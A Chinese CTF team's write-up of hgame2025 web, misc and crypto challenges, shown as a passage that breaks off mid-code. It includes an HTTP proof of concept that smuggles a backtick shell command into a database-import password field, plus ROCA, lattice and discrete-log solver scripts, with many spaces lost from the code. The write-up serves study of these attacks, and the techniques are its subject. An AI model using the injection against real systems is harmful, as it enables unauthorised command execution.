EDI
JOIN US ▶▶▶
招新
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。
欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招web re crypto pwn misc方向的师傅)有意向的师傅请联系邮箱[email protected]、[email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。
点击蓝字 · 关注我们
01
Web
1
[hgame2025-week1] pacman
Flag:hgame{u_4re_pacman_m4ster}
2
[hgame2025-week2] HoneyPot (任意文件写)
在此可以插入命令
Password没有被过滤,于是可以尝试反引号进行命令执行
poc:
POST
/api/import HTTP/1.1
Host:
node1.hgame.vidar.club:30327
User-Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101
Firefox/135.0
Accept:
*/*
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:
gzip, deflate
Referer:
http://node1.hgame.vidar.club:30327/
Content-Type:
application/json
Content-Length:
160
Origin:
http://node1.hgame.vidar.club:30327
Connection:
keep-alive
Priority:
u=0
{"remote_host":"localhost","remote_port":"3306","remote_username":"test","remote_password":"test
`/writeflag`","remote_database":"test","local_database":"test"}
成功写入,读取flag即可
02
Misc
1
[hgame2025-week1] Hakuya Want A Girl Friend (压缩包,png宽高修正)
比较传统的一个题,504b直接是一个压缩包,但是屁股后面有个反序的图片,压缩包加密了,图片是个png,看到了大佬的肖像,pzsolver直接修一波就可以了。
得到To_f1nd_th3_QQ,预测是压缩包密码
03
Crypto
1
[hgame2025-week1]sieve (pi_prime,eula_phi)
#sage
from Crypto.Util.number import bytes_to_long
from sympy import nextprime
FLAG= b'hgame{xxxxxxxxxxxxxxxxxxxxxx}'
m =bytes_to_long(FLAG)
def
trick(k):
if k > 1:
mul = prod(range(1,k))
if k - mul % k - 1 == 0:
return euler_phi(k) + trick(k-1) +1
else:
return euler_phi(k) + trick(k-1)
else:
return1
e =65537
p = q = nextprime(trick(e^2//6)<<128)
n =p * q
enc= pow(m,e,n)
print(f'{enc=}')
#enc=2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546
欧拉函数要跑一会,但是计算时间也够了
Exp:
from sage.allimport *
from Crypto.Util.number import *
from gmpy2 import *
from sympy import nextprime
from tqdm import *
c =2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546
e =0x10001
ss =e^2//6
#ss= 100000
print(ss)
#ee= abs(-prime_pi(ss)+2)
if0:
s = 0
for i in tqdm(range(1,ss+1)):
s += euler_phi(i)
ee = s + prime_pi(ss)
print("ee =",ee)
p = q = nextprime(ee<<128)
print(p.bit_length())
print("p =",p)
print("q =",q)
# ee= 155763335447735055
# p= 53003516465655400667707442798277521907437914663503790163
# q= 53003516465655400667707442798277521907437914663503790163
ee =155763335447735055
p =53003516465655400667707442798277521907437914663503790163
q =53003516465655400667707442798277521907437914663503790163
n =p*q
d =invert(e,p*(p-1))
m =pow(c,d,n)
print(long_to_bytes(ZZ(m)))
Flag:hgame{sieve_is_n0t_that_HArd}
2
[hgame2025-week1]ezbag (格,背包)
from Crypto.Util.number import *
import random
from Crypto.Cipher import AES
import hashlib
from Crypto.Util.Padding import pad
from secrets import flag
list= []
bag= []
p=random.getrandbits(64)
assertlen(bin(p)[2:])==64
for i inrange(4):
t = p
a=[getPrime(32) for _ inrange(64)]
b=0
for i in a:
temp=t%2
b+=temp*i
t=t>>1
list.append(a)
bag.append(b)
print(f'list={list}')
print(f'bag={bag}')
key= hashlib.sha256(str(p).encode()).digest()
cipher= AES.new(key, AES.MODE_ECB)
flag= pad(flag,16)
ciphertext= cipher.encrypt(flag)
print(f"ciphertext={ciphertext}")
"""
list=[[2826962231,
3385780583, 3492076631, 3387360133, 2955228863, 2289302839, 2243420737,
4129435549, 4249730059, 3553886213, 3506411549, 3658342997, 3701237861,
4279828309, 2791229339, 4234587439, 3870221273, 2989000187, 2638446521,
3589355327, 3480013811, 3581260537, 2347978027, 3160283047, 2416622491,
2349924443, 3505689469, 2641360481, 3832581799, 2977968451, 4014818999,
3989322037, 4129732829, 2339590901, 2342044303, 3001936603, 2280479471,
3957883273, 3883572877, 3337404269, 2665725899, 3705443933, 2588458577,
4003429009, 2251498177, 2781146657, 2654566039, 2426941147, 2266273523,
3210546259, 4225393481, 2304357101, 2707182253, 2552285221, 2337482071,
3096745679, 2391352387, 2437693507, 3004289807, 3857153537, 3278380013,
3953239151, 3486836107, 4053147071], [2241199309, 3658417261, 3032816659,
3069112363, 4279647403, 3244237531, 2683855087, 2980525657, 3519354793,
3290544091, 2939387147, 3669562427, 2985644621, 2961261073, 2403815549,
3737348917, 2672190887, 2363609431, 3342906361, 3298900981, 3874372373,
4287595129, 2154181787, 3475235893, 2223142793, 2871366073, 3443274743,
3162062369, 2260958543, 3814269959, 2429223151, 3363270901, 2623150861,
2424081661, 2533866931, 4087230569, 2937330469, 3846105271, 3805499729,
4188683131, 2804029297, 2707569353, 4099160981, 3491097719, 3917272979,
2888646377, 3277908071, 2892072971, 2817846821, 2453222423, 3023690689,
3533440091, 3737441353, 3941979749, 2903000761, 3845768239, 2986446259,
3630291517, 3494430073, 2199813137, 2199875113, 3794307871, 2249222681, 2797072793],
[4263404657, 3176466407, 3364259291, 4201329877, 3092993861, 2771210963,
3662055773, 3124386037, 2719229677, 3049601453, 2441740487, 3404893109,
3327463897, 3742132553, 2833749769, 2661740833, 3676735241, 2612560213,
3863890813, 3792138377, 3317100499, 2967600989, 2256580343, 2471417173,
2855972923, 2335151887, 3942865523, 2521523309, 3183574087, 2956241693,
2969535607, 2867142053, 2792698229, 3058509043, 3359416111, 3375802039,
2859136043, 3453019013, 3817650721, 2357302273, 3522135839, 2997389687,
3344465713, 2223415097, 2327459153, 3383532121, 3960285331, 3287780827,
4227379109, 3679756219, 2501304959, 4184540251, 3918238627, 3253307467,
3543627671, 3975361669, 3910013423, 3283337633, 2796578957, 2724872291,
2876476727, 4095420767, 3011805113, 2620098961], [2844773681, 3852689429,
4187117513, 3608448149, 2782221329, 4100198897, 3705084667, 2753126641,
3477472717, 3202664393, 3422548799, 3078632299, 3685474021, 3707208223,
2626532549, 3444664807, 4207188437, 3422586733, 2573008943, 2992551343, 3465105079,
4260210347, 3108329821, 3488033819, 4092543859, 4184505881, 3742701763,
3957436129, 4275123371, 3307261673, 2871806527, 3307283633, 2813167853,
2319911773, 3454612333, 4199830417, 3309047869, 2506520867, 3260706133,
2969837513, 4056392609, 3819612583, 3520501211, 2949984967, 4234928149,
2690359687, 3052841873, 4196264491, 3493099081, 3774594497, 4283835373,
2753384371, 2215041107, 4054564757, 4074850229, 2936529709, 2399732833,
3078232933, 2922467927, 3832061581, 3871240591, 3526620683, 2304071411,
3679560821]]
bag=[123342809734,
118191282440, 119799979406, 128273451872]
ciphertext=b'x1d6xcc}x07xfa7Gxbdx01xf0P4^Q"x85x9fxacx98x8f#xb2x12xf4+x05`x80x1axfa
!x9bxa5xc7gxa8bx89x93x1exedzxd2M;xa2'
"""
from sage.allimport *
from Crypto.Util.number import *
from gmpy2 import *
from Crypto.Cipher import AES
import hashlib
from Crypto.Util.Padding import pad
defcheck(lst):
for i in lst:
if i notin (0,1,-1):
return false
return true
a =[[2826962231, 3385780583, 3492076631, 3387360133, 2955228863, 2289302839,
2243420737, 4129435549, 4249730059, 3553886213, 3506411549, 3658342997,
3701237861, 4279828309, 2791229339, 4234587439, 3870221273, 2989000187,
2638446521, 3589355327, 3480013811, 3581260537, 2347978027, 3160283047,
2416622491, 2349924443, 3505689469, 2641360481, 3832581799, 2977968451,
4014818999, 3989322037, 4129732829, 2339590901, 2342044303, 3001936603,
2280479471, 3957883273, 3883572877, 3337404269, 2665725899, 3705443933, 2588458577,
4003429009, 2251498177, 2781146657, 2654566039, 2426941147, 2266273523,
3210546259, 4225393481, 2304357101, 2707182253, 2552285221, 2337482071,
3096745679, 2391352387, 2437693507, 3004289807, 3857153537, 3278380013,
3953239151, 3486836107, 4053147071], [2241199309, 3658417261, 3032816659,
3069112363, 4279647403, 3244237531, 2683855087, 2980525657, 3519354793,
3290544091, 2939387147, 3669562427, 2985644621, 2961261073, 2403815549,
3737348917, 2672190887, 2363609431, 3342906361, 3298900981, 3874372373,
4287595129, 2154181787, 3475235893, 2223142793, 2871366073, 3443274743,
3162062369, 2260958543, 3814269959, 2429223151, 3363270901, 2623150861,
2424081661, 2533866931, 4087230569, 2937330469, 3846105271, 3805499729,
4188683131, 2804029297, 2707569353, 4099160981, 3491097719, 3917272979,
2888646377, 3277908071, 2892072971, 2817846821, 2453222423, 3023690689,
3533440091, 3737441353, 3941979749, 2903000761, 3845768239, 2986446259,
3630291517, 3494430073, 2199813137, 2199875113, 3794307871, 2249222681, 2797072793],
[4263404657, 3176466407, 3364259291, 4201329877, 3092993861, 2771210963,
3662055773, 3124386037, 2719229677, 3049601453, 2441740487, 3404893109,
3327463897, 3742132553, 2833749769, 2661740833, 3676735241, 2612560213,
3863890813, 3792138377, 3317100499, 2967600989, 2256580343, 2471417173,
2855972923, 2335151887, 3942865523, 2521523309, 3183574087, 2956241693,
2969535607, 2867142053, 2792698229, 3058509043, 3359416111, 3375802039,
2859136043, 3453019013, 3817650721, 2357302273, 3522135839, 2997389687,
3344465713, 2223415097, 2327459153, 3383532121, 3960285331, 3287780827,
4227379109, 3679756219, 2501304959, 4184540251, 3918238627, 3253307467,
3543627671, 3975361669, 3910013423, 3283337633, 2796578957, 2724872291,
2876476727, 4095420767, 3011805113, 2620098961], [2844773681, 3852689429,
4187117513, 3608448149, 2782221329, 4100198897, 3705084667, 2753126641,
3477472717, 3202664393, 3422548799, 3078632299, 3685474021, 3707208223,
2626532549, 3444664807, 4207188437, 3422586733, 2573008943, 2992551343, 3465105079,
4260210347, 3108329821, 3488033819, 4092543859, 4184505881, 3742701763,
3957436129, 4275123371, 3307261673, 2871806527, 3307283633, 2813167853,
2319911773, 3454612333, 4199830417, 3309047869, 2506520867, 3260706133,
2969837513, 4056392609, 3819612583, 3520501211, 2949984967, 4234928149,
2690359687, 3052841873, 4196264491, 3493099081, 3774594497, 4283835373,
2753384371, 2215041107, 4054564757, 4074850229, 2936529709, 2399732833,
3078232933, 2922467927, 3832061581, 3871240591, 3526620683, 2304071411, 3679560821]]
b =
[123342809734, 118191282440, 119799979406, 128273451872]
ciphertext=b'x1d6xcc}x07xfa7Gxbdx01xf0P4^Q"x85x9fxacx98x8f#xb2x12xf4+x05`x80x1axfa
!x9bxa5xc7gxa8bx89x93x1exedzxd2M;xa2'
M =Matrix(ZZ,65,68)
T =1
for i inrange(64):
M[i,i] = 1
for i inrange(4):
for j inrange(64):
M[j,64+i] = a[i][j]*T
M[64,64]= -b[0]*T
M[64,65]= -b[1]*T
M[64,66]= -b[2]*T
M[64,67]= -b[3]*T
res= M.BKZ()
sol= []
for i in res:
if check(i):
print(i[:64])
M = ''.join(str(j) for j in i[:64][::-1])
p = int(M,2)
key = hashlib.sha256(str(p).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(ciphertext)
print(flag)
Flag:hgame{A_S1mple_Modul@r_Subset_Sum_Problem}
3
[hgame2025-week1] suprimeRSA (ROCA)
from Crypto.Util.number import *
import random
from sympy import prime
FLAG=b'hgame{xxxxxxxxxxxxxxxxxx}'
e=0x10001
defprimorial(num):
result = 1
for i inrange(1, num + 1):
result *= prime(i)
return result
M=primorial(random.choice([39,71,126]))
def
gen_key():
whileTrue:
k = getPrime(random.randint(20,40))
a = getPrime(random.randint(20,60))
p = k * M + pow(e, a, M)
if isPrime(p):
return p
p,q=gen_key(),gen_key()
n=p*q
m=bytes_to_long(FLAG)
enc=pow(m,e,n)
print(f'{n=}')
print(f'{enc=}')
"""
n=787190064146025392337631797277972559696758830083248285626115725258876808514690830730702705056550628756290183000265129340257928314614351263713241
enc=365164788284364079752299551355267634718233656769290285760796137651769990253028664857272749598268110892426683253579840758552222893644373690398408
"""
典型的ROCA秘钥的生成方式
参考链接
https://en.wikipedia.org/wiki/ROCA_vulnerability
生成方式M比之前的光滑的多,参考链接ROCA攻击的板子
https://bitsdeep.com/posts/analysis-of-the-roca-vulnerability/
https://github.com/FlorianPicca/ROCA
Exp:
from sage.all import *
def solve(M, n, a, m):
# I need to import it in the function otherwise multiprocessing doesn't find it in its context
from sage_functions import
coppersmith_howgrave_univariate
base = int(65537)
# the known part of p: 65537^a * M^-1 (mod
N)
known = int(pow(base, a, M) *inverse_mod(M, n))
# Create the polynom f(x)
F = PolynomialRing(Zmod(n),implementation='NTL', names=('x',))
(x,) = F._first_ngens(1)
pol = x + known
beta = 0.1
t = m+1
# Upper bound for the small root x0
XX = floor(2 * n**0.5 / M)
# Find a small root (x0 = k) using
Coppersmith's algorithm
roots =
coppersmith_howgrave_univariate(pol, n, beta, m, t, XX)
# There will be no roots for an incorrect
guess of a.
for k in roots:
# reconstruct p from the recovered k
p = int(k*M + pow(base, a, M))
if n%p == 0:
return p, n//p
def roca(n):
keySize = n.bit_length()
if keySize <= 960:
M_prime =0x1b3e6c9433a7735fa5fc479ffe4027e13bea
#M_prime =1701411834604692317316873037158841057280
m = 5
elif 992 <= keySize <= 1952:
M_prime =0x24683144f41188c2b1d6a217f81f12888e4e6513c43f3f60e72af8bd9728807483425d1e
m = 4
print("Have you several
days/months to spend on this ?")
elif 1984 <= keySize <= 3936:
M_prime =0x16928dc3e47b44daf289a60e80e1fc6bd7648d7ef60d1890f3e0a9455efe0abdb7a748131413cebd2e36a76a355c1b664be462e115ac330f9c13344f8f3d1034a02c23396e6
m = 7
print("You'll change computer before this scripts ends...")
elif 3968 <= keySize <= 4096:
print("Just no.")
return None
else:
print("Invalid key size:{}".format(keySize))
return None
a3 = Zmod(M_prime)(n).log(65537)
order =Zmod(M_prime)(65537).multiplicative_order()
inf = a3 // 2
sup = (a3 + order) // 2
# Search 10 000 values at a time, using multiprocess
# too big chunks is slower, too small chunks also
chunk_size = 10000
for inf_a in range(inf, sup, chunk_size):
# create an array with the parameter for the solve function
inputs = [((M_prime, n, a, m), {}) for a in range(inf_a, inf_a+chunk_size)]
# the sage builtin multiprocessing stuff
from sage.parallel.multiprocessing_sage import parallel_iter
from multiprocessing import cpu_count
for k, val in
parallel_iter(cpu_count(), solve, inputs):
if val:
p = val[0]
q = val[1]
print("found factorization:np={}nq={}".format(p, q))
return val
if
__name__ == "__main__":
# Normal values
#p =88311034938730298582578660387891056695070863074513276159180199367175300923113
#q =122706669547814628745942441166902931145718723658826773278715872626636030375109
#a = 551658, interval = [475706, 1076306]
# won't find if beta=0.5
#p =80688738291820833650844741016523373313635060001251156496219948915457811770063
#q =69288134094572876629045028069371975574660226148748274586674507084213286357069
#a = 176170, interval = [171312, 771912]
#n = p*q
# For the test values chosen, a is quite close to the minimal value so the search is not too long
n =787190064146025392337631797277972559696758830083248285626115725258876808514690830730702705056550628756290183000265129340257928314614351263713241
#n =669040758304155675570167824759691921106935750270765997139446851830489844731373721233290816258049
roca(n)
Flag:hgame{ROCA_ROCK_and_ROll!}
4
[hgame2025-week2] Intergalactic Bound(gb基,扭Hessian曲线,映射)
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import randint
import hashlib
from secrets import flag
defadd_THCurve(P, Q):
if P == (0, 0):
return Q
if Q == (0, 0):
return P
x1, y1 = P
x2, y2 = Q
x3 = (x1 - y1 ** 2 * x2 * y2) * pow(a * x1* y1 * x2 ** 2 - y2, -1, p) % p
y3 = (y1 * y2 ** 2 - a * x1 ** 2 * x2) *pow(a * x1 * y1 * x2 ** 2 - y2, -1, p) % p
return x3, y3
defmul_THCurve(n, P):
R = (0, 0)
while n > 0:
if n % 2 == 1:
R = add_THCurve(R, P)
P = add_THCurve(P, P)
n = n // 2
return R
p =getPrime(96)
a =randint(1, p)
G =(randint(1,p), randint(1,p))
d = (a*G[0]^3+G[1]^3+1)%p*inverse(G[0]*G[1],p)%p
x =randint(1, p)
Q =mul_THCurve(x, G)
print(f"p= {p}")
print(f"G= {G}")
print(f"Q= {Q}")
key= hashlib.sha256(str(x).encode()).digest()
cipher= AES.new(key, AES.MODE_ECB)
flag= pad(flag,16)
ciphertext= cipher.encrypt(flag)
print(f"ciphertext={ciphertext}")
"""
p =55099055368053948610276786301
G =(19663446762962927633037926740, 35074412430915656071777015320)
Q =(26805137673536635825884330180, 26376833112609309475951186883)
ciphertext=b"kxe8xbex94x9exfcxe2x9ex97xe5xf3x04'x8fxb2x01Tx06x88x04xeb3Jlxdd
Pk$x00:xf5"
"""
梳理曲线加法计算式
最后求解dlp问题即可,这题DLP标准,无需处理即可求得私钥
from sage.all import *
from gmpy2 import *
from Crypto.Util.number import *
from Crypto.Cipherimport AES
from Crypto.Util.Paddingimport pad
from random import randint
import hashlib
p =55099055368053948610276786301
G=(19663446762962927633037926740, 35074412430915656071777015320)
Q=(26805137673536635825884330180, 26376833112609309475951186883)
ct=b"kxe8xbex94x9exfcxe2x9ex97xe5xf3x04'x8fxb2x01Tx06x88x04xeb3Jlxdd
Pk$x00:xf5"
if(1):
PR.<a,d>=PolynomialRing(Zmod(p))
f1 = a*G[0]**3+G[1]**3+1- d *G[0]*G[1]
f2 = a*Q[0]**3+Q[1]**3+1- d *Q[0]*Q[1]
res = ideal([f1,f2]).groebner_basis()
print(res)
'''
[a +16017244634673333349551751112, d +46529564890039836205593471940]
'''
a =p -16017244634673333349551751112
d =p -46529564890039836205593471940
print("a=",a)
print("d=",d)
F=GF(p)
ux1,uy1=F(G[0]),F(G[1])
ux2,uy2=F(Q[0]),F(Q[1])
ua=F(a)
ud=(a*ux1^3+uy1^3+1)/(ux1*uy1)
print("ud=",ud)
x1 =(-F(3) / (ua - ud*ud*ud/F(27))*ux1/(ud*ux1/F(3) - (-uy1) +F(1)))
y1 =(-F(9) / ((ua - ud*ud*ud/F(27))*(ua -ud*ud*ud/F(27)))*(-uy1) / (ud*ux1/F(3) -
(-uy1) +F(1)))
x2 =(-F(3) / (ua - ud*ud*ud/F(27))*ux2/(ud*ux2/F(3) - (-uy2) +F(1)))
y2 =(-F(9) / ((ua - ud*ud*ud/F(27))*(ua-ud*ud*ud/F(27)))*(-uy2) / (ud*ux2/F(3) -
(-uy2) +F(1)))
GG=(x1,y1)
QQ=(x2,y2)
a0 =1
a1 =F((-F(3)*(ud/F(3))/(ua-(ud/F(3))*(ud/F(3))*(ud/F(3)))))
a3 =F(-F(9) /((ua - (ud/F(3))*(ud/F(3))*(ud/F(3)))*(ua -
(ud/F(3))*(ud/F(3))*(ud/F(3)))))
a2 =F((-F(9)*(ud/F(3)))*(ud/F(3))/((ua-(ud/F(3))*(ud/F(3))*(ud/F(3)))*(ua-(ud/F(3))*(ud/F(3))*(ud/F(3)))))
a4 =F((-F(27)*(ud/F(3)))/((ua-(ud/F(3))*(ud/F(3))*(ud/F(3)))*(ua-(ud/F(3))*(ud/F(3))*(ud/F(3)))*(ua-(ud/F(3))*(ud/F(3))*(ud/F(3)))))
a6 =F(-F(27)/((ua -
(ud/F(3))*(ud/F(3))*(ud/F(3)))*(ua-(ud/F(3))*(ud/F(3))*(ud/F(3)))*(ua-(ud/F(3))*(ud/F(3))*(ud/F(3)))*(ua-(ud/F(3))*(ud/F(3))*(ud/F(3)))))
print("a1=",a1)
print("a2=",a2)
print("a3=",a3)
print("a4=",a4)
print("a6=",a6)
E=EllipticCurve(GF(p), [a1, a2, a3, a4, a6])
print(E.order())
print((x1,y1))
print((x2,y2))
EG=E((x1,y1))
EQ=E((x2,y2))
x =EG.discrete_log(EQ)
print("x=",x)
key= hashlib.sha256(str(x).encode()).digest()
cipher=AES.new(key, AES.MODE_ECB)
flag= cipher.decrypt(ct)
print(flag)
Flag:hgame{N0th1ng_bu7_up_Up_UP!}
5
[hgame2025-week2] Ancient Recall(快速幂)
import random
Major_Arcana= ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot","Strength","The Hermit", "Wheel of Fortune","Justice","The Hanged Man", "Death","Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"]
wands= ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands","Knight of Wands", "Queen of Wands", "King of Wands"]
cups= ["Ace of Cups", "Two of Cups", "Three of Cups","Four of Cups", "Five of Cups", "Six of Cups","Seven of Cups", "Eight of Cups", "Nine of Cups","Ten of Cups", "Page of Cups", "Knight of Cups","Queen of Cups", "King of Cups"]
swords= ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords","Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords","King of Swords"]
pentacles= ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles","Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles","Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana= wands + cups + swords + pentacles
tarot= Major_Arcana + Minor_Arcana
reversals= [0,-1]
Value= []
cards= []
YOUR_initial_FATE= []
whilelen(YOUR_initial_FATE)<5:
card = random.choice(tarot)
if card notin cards:
cards.append(card)
if card in Major_Arcana:
k = random.choice(reversals)
Value.append(tarot.index(card)^k)
if k == -1:
YOUR_initial_FATE.append("re-"+card)
else:
YOUR_initial_FATE.append(card)
else:
Value.append(tarot.index(card))
YOUR_initial_FATE.append(card)
else:
continue
print("Oops!lets reverse 1T!")
FLAG=("hgame{"+"&".join(YOUR_initial_FATE)+"}").replace(" ","_")
YOUR_final_Value= Value
defFortune_wheel(FATE):
FATEd = [FATE[i]+FATE[(i+1)%5] for i in
range(len(FATE))]
return FATEd
for i inrange(250):
YOUR_final_Value =Fortune_wheel(YOUR_final_Value)
print(YOUR_final_Value)
YOUR_final_FATE= []
for i in YOUR_final_Value:
YOUR_final_FATE.append(tarot[i%78])
print("Your destiny changed!n",",".join(YOUR_final_FATE))
print("oh,now you GET th3 GOOd lU>k,^^")
"""
Oops!lets
reverse 1T!
[2532951952066291774890498369114195917240794704918210520571067085311474675019,
2532951952066291774890327666074100357898023013105443178881294700381509795270,
2532951952066291774890554459287276604903130315859258544173068376967072335730,
2532951952066291774890865328241532885391510162611534514014409174284299139015,
2532951952066291774890830662608134156017946376309989934175833913921142609334]
Your
destiny changed!
Eight of Cups,Ace of Cups,Strength,The
Chariot,Five of Swords
oh,now
you GET th3 GOOd lU>k,^^
"""
第一步处置是通过 tarot.index(card) 或 tarot.index(card) ^ -1 生成的,对于大阿卡纳牌(Major Arcana),如果牌是逆位的,Value 会是 tarot.index(card) ^ -1,否则就是 tarot.index(card)。对于小阿卡纳牌(Minor Arcana),Value 直接是 tarot.index(card),最后输出序列,
第二步Fortune_wheel对序列进行递归操作,由题目已知序列长度为5,变换为:
FATE[i]+FATE[(i+1)%5],i∈[0,4],整个循环可以表示为:
那么变换250次为
恢复出初始序列根据第一步逆向一下即可
Exp:
from sage.allimport *
from gmpy2 import *
from Crypto.Util.number import *
Major_Arcana= ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot","Strength","The Hermit", "Wheel of Fortune","Justice","The Hanged Man", "Death","Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"]
wands= ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands","Knight of Wands", "Queen of Wands", "King of Wands"]
cups= ["Ace of Cups", "Two of Cups", "Three of Cups","Four of Cups", "Five of Cups", "Six of Cups","Seven of Cups", "Eight of Cups", "Nine of Cups","Ten of Cups", "Page of Cups", "Knight of Cups","Queen of Cups", "King of Cups"]
swords= ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords","Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords","King of Swords"]
pentacles= ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles","Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles","Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana= wands + cups + swords + pentacles
tarot= Major_Arcana + Minor_Arcana
reversals= [0,-1]
print("Minor_Arcana=",Minor_Arcana)
print("tarot=",tarot)
print(len(tarot))
Value= []
cards= []
M =Matrix(ZZ,5,5,[[1,1,0,0,0],
[0,1,1,0,0],
[0,0,1,1,0],
[0,0,0,1,1],
[1,0,0,0,1]])
M =M.T
lst=[2532951952066291774890498369114195917240794704918210520571067085311474675019,
2532951952066291774890327666074100357898023013105443178881294700381509795270,
2532951952066291774890554459287276604903130315859258544173068376967072335730,
2532951952066291774890865328241532885391510162611534514014409174284299139015,
2532951952066291774890830662608134156017946376309989934175833913921142609334]
#lst=[39441680396460829066153948765715659747641487417006208863671851873719194766894,
39441680396460829066153917388174439612179279703071471091891080488928564813076,
39441680396460829066153816056080168843590456165470533863780748502559401144850,
39441680396460829066153784806942978435574436705339350949746200722383868438392,
39441680396460829066153866826008346423614782642781520860611316175886019754804]
w =vector(lst)
print(w)
u =w*(M^(-250))
print(u)
YOUR_final_FATE= []
for i inrange(len(u)):
YOUR_final_FATE.append(tarot[i%78])
print("Your destiny changed!n",",".join(YOUR_final_FATE))
print("oh,now you GET th3 GOOd lU>k,^^")
这里测试数据通过,成功恢复出初始序列
然后根据索引值与索引值的^-1检索,即:
对于每个 value,检查它是否是大阿卡纳牌的索引
如果 value 是大阿卡纳牌的索引,检查 value ^ -1 是否等于 tarot.index(card)。如果是,则该牌是逆位的;如果 value 是小阿卡纳牌的索引,则直接使用 value 作为索引从 tarot 中获取牌。
Exp:
from gmpy2 import *
from Crypto.Util.number import *
import random
Major_Arcana= ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot", "Strength","The Hermit", "Wheel of Fortune", "Justice","The Hanged Man", "Death", "Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"]
wands= ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands","Knight of Wands", "Queen of Wands", "King of Wands"]
cups= ["Ace of Cups", "Two of Cups", "Three of Cups","Four of Cups", "Five of Cups", "Six of Cups","Seven of Cups", "Eight of Cups", "Nine of Cups","Ten of Cups", "Page of Cups", "Knight of Cups","Queen of Cups", "King of Cups"]
swords= ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords","Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords","King of Swords"]
pentacles= ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles","Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles","Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana= wands + cups + swords + pentacles
tarot= Major_Arcana + Minor_Arcana
reversals= [0,-1]
print("Minor_Arcana=",Minor_Arcana)
print("tarot=",tarot)
print(len(tarot))
defrestore_fate(Value, tarot, Major_Arcana):
YOUR_initial_FATE = []
for value in Value:
if value < len(Major_Arcana):
# Check if the card is reversed
if (value ^ -1) < len(tarot) and
tarot[value ^ -1] in Major_Arcana:
YOUR_initial_FATE.append("re-" + tarot[value ^ -1])
else:
YOUR_initial_FATE.append(tarot[value])
else:
YOUR_initial_FATE.append(tarot[value])
return YOUR_initial_FATE
#Value= [-19, 49, 25, -17, 71]
Value= [-19, -20, 20, -15, 41]
YOUR_initial_FATE= restore_fate(Value, tarot, Major_Arcana)
print(YOUR_initial_FATE)
FLAG=("hgame{"+"&".join(YOUR_initial_FATE)+"}").replace(" ","_")
print(FLAG)
Flag:hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups}
6
[hgame2025-week2] SPiCa(HSSP,正交格)
from Crypto.Util.number import getPrime, long_to_bytes,bytes_to_long
from secrets import flag
from sage.all import *
def derive_M(n):
iota=0.035
Mbits=int(2 * iota * n^2 + n * log(n,2))
M = random_prime(2^Mbits, proof = False,lbound = 2^(Mbits - 1))
return Integer(M)
m =bytes_to_long(flag).bit_length()
n =70
p =derive_M(n)
F =GF(p)
x =random_matrix(F, 1, n)
A =random_matrix(ZZ, n, m, x=0, y=2)
A[randint(0,n-1)] = vector(ZZ, list(bin(bytes_to_long(flag))[2:]))
h =x*A
with open("data.txt", "w") as file:
file.write(str(m) + "n")
file.write(str(p) + "n")
for item in h:
file.write(str(item) + "n")
HSSP的攻击可以参考正交格,如下链接
https://tanglee.top/2023/12/12/Orthogonal-Lattice-Attack/
和板子:
https://github.com/tl2cents/Implementation-of-Cryptographic-Attacks/blob/f83d71d8fe83e01ba6a684965cef61861437ff23/MultivariateHSSP/A%20Polynomial-Time%20Algorithm%20for%20Solving%20the%20Hidden%20Subset%20Sum%20Problem.ipynb
这里稍加修改返回矩阵A即可,同时x是随机的,但是其中总有一行是有flag的,找出来即可
from collections.abc import Iterable
